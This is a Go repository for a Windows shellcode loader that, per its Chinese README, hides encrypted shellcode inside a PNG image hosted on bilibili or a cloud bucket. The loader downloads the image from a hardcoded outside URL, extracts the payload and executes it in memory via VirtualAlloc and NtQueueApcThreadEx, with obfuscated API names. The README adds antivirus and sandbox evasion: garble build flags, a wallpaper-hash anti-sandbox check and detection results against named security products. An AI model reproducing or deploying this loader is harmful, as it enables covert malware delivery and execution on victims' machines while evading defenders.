├── .gitignore
├── README.md
├── cmd
├── generate
│ └── generate.go
└── shellcodeLoader
│ └── shellcodeLoader.go
├── crypt
├── base64.go
├── des.go
└── steg.go
├── doc
├── img.png
├── img2.png
├── img3.png
├── img4.png
├── img5.png
├── img6.png
├── img7.png
└── img8.jpeg
├── go.mod
├── go.sum
├── image
├── generate.go
└── getShellcode.go
└── loader
└── loader.go
/.gitignore:
--------------------------------------------------------------------------------
1 | /.idea/
2 | /test/
3 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # bimg-shellcode-loader
2 | bimg-shellcode-loader是一个使用bilibili图片隐写功能加载shellcode的工具。 当然你可以使用任何地方的图片。
3 |
4 | 在调研C2通讯方式时,发现有一个有师傅使用了bilbili图片隐写功能加载shellcode,觉得这个方法很有意思,就自己写了一个工具。添加了反沙箱功能。
5 | 如果这个项目对你有帮助,欢迎star。
6 |
7 | ### 使用步骤
8 | ##### 1. 生成包含隐写信息的图片
9 | 使用generate.go生成包含shellcode的图片,生成的图片为out_file.png。
10 | 在generate.go同级目录下存放shellcode文件,shellcode文件名为shellcode.bin。
11 | 图片为img.png, 随后用运行generate.go生成out_file.png。
12 | ```shell
13 | go run generate.go
14 | ```
15 |
16 | ##### 2. 上传图片到bilibili
17 | 登陆访问创作中心 https://member.bilibili.com/platform/upload/text/edit 点击上传图片,把生成的图片上传上去。
18 | 
19 |
20 | 通过浏览器开发者工具,查看上传图片的请求,找到图片的返回地址,复制下来。
21 |
22 | 
23 |
24 | 把图片地址填入到shellcodeLoader.go中的`imgUrl`变量中。
25 |
26 | 
27 | ##### 3. 编译加载器
28 | ```go
29 | CGO_ENABLED=0 GOOS=windows GOARCH=amd64 GOPRIVATE=* GOGARBLE=* garble -tiny -literals -seed=random build -ldflags "-w -s -buildid= -H=windowsgui" -buildmode="pie"
30 | ```
31 |
32 | ### 免杀
33 | 只测试了360和微步
34 | 
35 |
36 | 微步反沙箱,判断当前系统壁纸,如果是沙箱内的壁纸就退出。大家有遇到的沙箱或者分析机,提取壁纸的md5放入列表中。
37 | ```go
38 | md5List := []string{"fbfeb6772173fef2213992db05377231", "49150f7bfd879fe03a2f7d148a2514de", "fc322167eb838d9cd4ed6e8939e78d89", "178aefd8bbb4dd3ed377e790bc92a4eb", "0f8f1032e4afe1105a2e5184c61a3ce4", "da288dceaafd7c97f1b09c594eac7868"}
39 | ```
40 | 微步沙箱检测通过0/24,并且没有检测到网络通信。
41 | 
42 | 
43 |
44 | 火绒
45 | 
46 |
47 | virscan扫描结果
48 | 
49 | ## Stargazers over time
50 |
51 | [](https://starchart.cc/intbjw/bimg-shellcode-loader)
52 |
53 | #### Visitors (Since 2023/08/01)
54 |
55 |

56 |
57 |
--------------------------------------------------------------------------------
/cmd/generate/generate.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bimg-shellcode-loader/image"
5 | "os"
6 | )
7 |
8 | func main() {
9 | // 打开shell.bin文件,获取byte数组
10 | shellcode, _ := os.ReadFile("shell.bin")
11 | image.Generate("img.png", shellcode)
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/cmd/shellcodeLoader/shellcodeLoader.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bimg-shellcode-loader/loader"
5 | "crypto/md5"
6 | "encoding/hex"
7 | "fmt"
8 | "github.com/reujab/wallpaper"
9 | "io"
10 | "os"
11 | )
12 |
13 | func main() {
14 |
15 | checkDesktopMd5()
16 | loader.Loader("https://txycct-1305644927.cos.ap-nanjing.myqcloud.com/file/out_file.png")
17 | }
18 |
19 | func checkDesktopMd5() {
20 | // 获取当前桌面壁纸路径
21 | path, err := wallpaper.Get()
22 | if err != nil {
23 | fmt.Println(err.Error())
24 | }
25 |
26 | // 计算文件的MD5值
27 | file, err := os.Open(path)
28 | if err != nil {
29 | fmt.Println(err.Error())
30 | }
31 | defer file.Close()
32 |
33 | hash := md5.New()
34 | if _, err := io.Copy(hash, file); err != nil {
35 | fmt.Println(err.Error())
36 | }
37 |
38 | md5value := hex.EncodeToString(hash.Sum(nil))
39 | // md5值列表
40 | md5List := []string{"fbfeb6772173fef2213992db05377231", "49150f7bfd879fe03a2f7d148a2514de", "fc322167eb838d9cd4ed6e8939e78d89", "178aefd8bbb4dd3ed377e790bc92a4eb", "0f8f1032e4afe1105a2e5184c61a3ce4", "da288dceaafd7c97f1b09c594eac7868"}
41 | // 判断md5值是否在列表中
42 | for _, value := range md5List {
43 | if value == md5value {
44 | // 程序退出
45 | os.Exit(0)
46 | }
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/crypt/base64.go:
--------------------------------------------------------------------------------
1 | package crypt
2 |
3 | import (
4 | "encoding/base64"
5 | )
6 |
7 | // 自定义base64编码表
8 | const base64Table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
9 |
10 | // 自定义base64编码
11 | func CustomBase64Encode(data []byte) string {
12 | // 创建一个自定义base64编码器
13 | encoder := base64.NewEncoding(ShuffleString(base64Table))
14 |
15 | // 编码数据
16 | encoded := encoder.EncodeToString(data)
17 |
18 | return encoded
19 | }
20 |
21 | // 自定义base64解码
22 | func CustomBase64Decode(encoded string) ([]byte, error) {
23 | // 创建一个自定义base64解码器
24 | decoder := base64.NewEncoding(ShuffleString(base64Table))
25 |
26 | // 解码数据
27 | decoded, err := decoder.DecodeString(encoded)
28 | if err != nil {
29 | return nil, err
30 | }
31 |
32 | return decoded, nil
33 | }
34 |
35 | func ShuffleString(s string) string {
36 | // 将字符串转换为rune数组
37 | runes := []rune(s)
38 |
39 | // 打乱rune数组顺序
40 | for inter := len(runes) - 1; inter > 0; inter-- {
41 | jnter := inter - 1
42 | if jnter < 0 {
43 | jnter = 0
44 | }
45 | runes[inter], runes[jnter] = runes[jnter], runes[inter]
46 | }
47 |
48 | // 将rune数组转换为字符串
49 | return string(runes)
50 | }
51 |
--------------------------------------------------------------------------------
/crypt/des.go:
--------------------------------------------------------------------------------
1 | package crypt
2 |
3 | import (
4 | "bytes"
5 | "crypto/cipher"
6 | "crypto/des"
7 | )
8 |
9 | // 使用DES CFB模式进行加密
10 | func DesEncrypt(origData, key, iv []byte) ([]byte, error) {
11 | // 创建一个DES密码分组
12 | block, err := des.NewCipher(key)
13 | if err != nil {
14 | return nil, err
15 | }
16 |
17 | // 对原始数据进行填充
18 | origData = pkcs7Padding(origData, block.BlockSize())
19 |
20 | // 创建一个CFB加密模式
21 | cfb := cipher.NewCFBEncrypter(block, iv)
22 |
23 | // 加密数据
24 | encrypted := make([]byte, len(origData))
25 | cfb.XORKeyStream(encrypted, origData)
26 |
27 | return encrypted, nil
28 | }
29 |
30 | // 使用DES CFB模式进行解密
31 | func DesDecrypt(encryptedData, key, iv []byte) ([]byte, error) {
32 | // 创建一个DES密码分组
33 | block, err := des.NewCipher(key)
34 | if err != nil {
35 | return nil, err
36 | }
37 |
38 | // 创建一个CFB解密模式
39 | cfb := cipher.NewCFBDecrypter(block, iv)
40 |
41 | // 解密数据
42 | decrypted := make([]byte, len(encryptedData))
43 | cfb.XORKeyStream(decrypted, encryptedData)
44 |
45 | // 对解密后的数据进行去填充
46 | decrypted = pkcs7UnPadding(decrypted)
47 |
48 | return decrypted, nil
49 | }
50 |
51 | // PKCS7填充
52 | func pkcs7Padding(ciphertext []byte, blockSize int) []byte {
53 | padding := blockSize - len(ciphertext)%blockSize
54 | padtext := bytes.Repeat([]byte{byte(padding)}, padding)
55 | return append(ciphertext, padtext...)
56 | }
57 |
58 | // PKCS7去填充
59 | func pkcs7UnPadding(origData []byte) []byte {
60 | length := len(origData)
61 | unpadding := int(origData[length-1])
62 | return origData[:(length - unpadding)]
63 | }
64 |
--------------------------------------------------------------------------------
/crypt/steg.go:
--------------------------------------------------------------------------------
1 | package crypt
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "github.com/auyer/steganography"
7 | "image/png"
8 | "io"
9 | "log"
10 | "os"
11 | )
12 |
13 | func StegEncode(imgFile string, msg []byte) {
14 |
15 | inFile, _ := os.Open(imgFile)
16 | reader := bufio.NewReader(inFile)
17 | img, _ := png.Decode(reader)
18 | www := new(bytes.Buffer) // buffer that will recieve the results
19 | err := steganography.Encode(www, img, msg) // Encode the message into the image
20 | if err != nil {
21 | log.Printf("Error Encoding file %v", err)
22 | return
23 | }
24 | outFile, _ := os.Create("out_file.png") // create file
25 | www.WriteTo(outFile) // write buffer to it
26 | outFile.Close()
27 | }
28 |
29 | func StegDecode(imgReader io.Reader) []byte {
30 | reader := bufio.NewReader(imgReader)
31 | img, _ := png.Decode(reader)
32 | sizeOfMessage := steganography.GetMessageSizeFromImage(img)
33 | msg := steganography.Decode(sizeOfMessage, img)
34 | return msg
35 | }
36 |
--------------------------------------------------------------------------------
/doc/img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img.png
--------------------------------------------------------------------------------
/doc/img2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img2.png
--------------------------------------------------------------------------------
/doc/img3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img3.png
--------------------------------------------------------------------------------
/doc/img4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img4.png
--------------------------------------------------------------------------------
/doc/img5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img5.png
--------------------------------------------------------------------------------
/doc/img6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img6.png
--------------------------------------------------------------------------------
/doc/img7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img7.png
--------------------------------------------------------------------------------
/doc/img8.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/intbjw/bimg-shellcode-loader/b73f7fea731065b7a21e093f39582bba9b5f618b/doc/img8.jpeg
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module bimg-shellcode-loader
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/auyer/steganography v1.0.2
7 | github.com/go-resty/resty/v2 v2.7.0
8 | github.com/reujab/wallpaper v0.0.0-20210630195606-5f9f655b3740
9 | golang.org/x/sys v0.10.0
10 | )
11 |
12 | require (
13 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb // indirect
14 | gopkg.in/ini.v1 v1.62.0 // indirect
15 | gopkg.in/yaml.v2 v2.4.0 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/auyer/steganography v1.0.2 h1:G5iZbX8QUvw+kCLyK+59hY8t/oSSpSS5yStIcPCGIgU=
2 | github.com/auyer/steganography v1.0.2/go.mod h1:Q2qN+f1ixaXnKTCT4xkSDCZ/5NiOpUeTgOCLwQdJD+A=
3 | github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY=
4 | github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I=
5 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=
6 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
7 | github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
8 | github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
9 | github.com/reujab/wallpaper v0.0.0-20210630195606-5f9f655b3740 h1:X6IDPPN+zrSClp0Q+JiERA//d8L0WcU5MqcGeulCW1A=
10 | github.com/reujab/wallpaper v0.0.0-20210630195606-5f9f655b3740/go.mod h1:WYwPVmM/8szeItLeWkwZSLRvQgrvsvstRzgznR8+E4Q=
11 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d h1:zE9ykElWQ6/NYmHa3jpm/yHnI4xSofP+UP6SpjHcSeM=
12 | github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
13 | github.com/smartystreets/goconvey v1.6.4 h1:fv0U8FUIMPNf1L9lnHLvLhgicrIVChEkdzIKYqbNC9s=
14 | github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
15 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
16 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
17 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb h1:pirldcYWx7rx7kE5r+9WsOXPXK0+WH5+uZ7uPmJ44uM=
18 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
19 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
20 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
21 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
22 | golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
23 | golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
24 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
25 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
26 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
27 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
28 | golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
29 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
30 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
31 | gopkg.in/ini.v1 v1.62.0 h1:duBzk771uxoUuOlyRLkHsygud9+5lrlGjdFBb4mSKDU=
32 | gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
33 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
34 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
35 |
--------------------------------------------------------------------------------
/image/generate.go:
--------------------------------------------------------------------------------
1 | package image
2 |
3 | import (
4 | "bimg-shellcode-loader/crypt"
5 | )
6 |
7 | func Generate(imgFile string, shellcode []byte) {
8 | encryptShellcode, _ := crypt.DesEncrypt(shellcode, []byte("12345678"), []byte("87654321"))
9 | // 对encryptShellcode进行base64编码
10 | base64Shellcode := crypt.CustomBase64Encode(encryptShellcode)
11 | // 对base64Shellcode进行steg编码
12 | crypt.StegEncode(imgFile, []byte(base64Shellcode))
13 | }
14 |
--------------------------------------------------------------------------------
/image/getShellcode.go:
--------------------------------------------------------------------------------
1 | package image
2 |
3 | import (
4 | "bimg-shellcode-loader/crypt"
5 | "bytes"
6 | "fmt"
7 | "github.com/go-resty/resty/v2"
8 | "os"
9 | )
10 |
11 | // GetShellcode 从b站上下载图片,获取shellcode
12 | func GetShellcode(url string) []byte {
13 | // 使用resty下载
14 | resp, err := resty.New().R().Get(url)
15 | if err != nil {
16 | fmt.Println(err.Error())
17 | os.Exit(0)
18 | }
19 | //获取返回值
20 | reader := bytes.NewReader(resp.Body())
21 | msg := crypt.StegDecode(reader)
22 | // 对msg进行base64解码
23 | shellcode, _ := crypt.CustomBase64Decode(string(msg))
24 | // 对shellcode进行des解密
25 | shellcode, _ = crypt.DesDecrypt(shellcode, []byte("12345678"), []byte("87654321"))
26 | return shellcode
27 | }
28 |
--------------------------------------------------------------------------------
/loader/loader.go:
--------------------------------------------------------------------------------
1 | package loader
2 |
3 | import (
4 | "bimg-shellcode-loader/image"
5 | "fmt"
6 | "golang.org/x/sys/windows"
7 | "log"
8 | "unsafe"
9 | )
10 |
11 | const (
12 | // MEM_COMMIT is a Windows constant used with Windows API calls
13 | MEM_COMMIT = 0x1000
14 | // MEM_RESERVE is a Windows constant used with Windows API calls
15 | MEM_RESERVE = 0x2000
16 | // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
17 | PAGE_EXECUTE_READ = 0x20
18 | // PAGE_READWRITE is a Windows constant used with Windows API calls
19 | PAGE_READWRITE = 0x04
20 | )
21 |
22 | // https://docs.microsoft.com/en-us/windows/win32/midl/enum
23 | const (
24 | QUEUE_USER_APC_FLAGS_NONE = iota
25 | QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
26 | QUEUE_USER_APC_FLGAS_MAX_VALUE
27 | )
28 |
29 | const (
30 | apple = "k" + "e" + "r" + "n" + "e" + "l" + "3" + "2" + ".d" + "l" + "l"
31 | banana = "n" + "t" + "d" + "l" + "l" + ".d" + "l" + "l"
32 | cherry = "V" + "i" + "r" + "t" + "u" + "a" + "l" + "A" + "l" + "l" + "o" + "c"
33 | date = "V" + "i" + "r" + "t" + "u" + "a" + "l" + "P" + "r" + "o" + "t" + "e" + "c" + "t"
34 | elderberry = "G" + "e" + "t" + "C" + "u" + "r" + "r" + "e" + "n" + "t" + "T" + "h" + "r" + "e" + "a" + "d"
35 | fig = "R" + "t" + "l" + "C" + "o" + "p" + "y" + "M" + "e" + "m" + "o" + "r" + "y"
36 | grapefruit = "N" + "t" + "Q" + "u" + "e" + "u" + "e" + "A" + "p" + "c" + "T" + "h" + "r" + "e" + "a" + "d" + "E" + "x"
37 | )
38 |
39 | func Loader(url string) {
40 | // 随便写一些代码,让编译器不要优化掉
41 |
42 | // 从b站上下载图片,获取shellcode
43 | shellcode := image.GetShellcode(url)
44 |
45 | // Pop Calc Shellcode
46 |
47 | abc := windows.NewLazySystemDLL(apple)
48 | bcd := windows.NewLazySystemDLL(banana)
49 |
50 | cde := abc.NewProc(cherry)
51 | def := abc.NewProc(date)
52 | fed := abc.NewProc(elderberry)
53 | ert := bcd.NewProc(fig)
54 | qwe := bcd.NewProc(grapefruit)
55 |
56 | addr, _, errcde := cde.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
57 |
58 | if errcde != nil && errcde.Error() != "The operation completed successfully." {
59 | log.Fatal(fmt.Sprintf("[!]Error calling cde:\r\n%s", errcde.Error()))
60 | }
61 |
62 | if addr == 0 {
63 | log.Fatal("[!]cde failed and returned 0")
64 | }
65 |
66 | _, _, errert := ert.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
67 |
68 | if errert != nil && errert.Error() != "The operation completed successfully." {
69 | log.Fatal(fmt.Sprintf("[!]Error calling ert:\r\n%s", errert.Error()))
70 | }
71 |
72 | oldProtect := PAGE_READWRITE
73 | _, _, errdef := def.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
74 | if errdef != nil && errdef.Error() != "The operation completed successfully." {
75 | log.Fatal(fmt.Sprintf("Error calling def:\r\n%s", errdef.Error()))
76 | }
77 |
78 | thread, _, err := fed.Call()
79 | if err.Error() != "The operation completed successfully." {
80 | log.Fatal(fmt.Sprintf("Error calling fed:\n%s", err))
81 | }
82 |
83 | //USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC)
84 | _, _, err = qwe.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
85 | if err.Error() != "The operation completed successfully." {
86 | log.Fatal(fmt.Sprintf("Error calling qwe:\n%s", err))
87 | }
88 |
89 | }
90 |
--------------------------------------------------------------------------------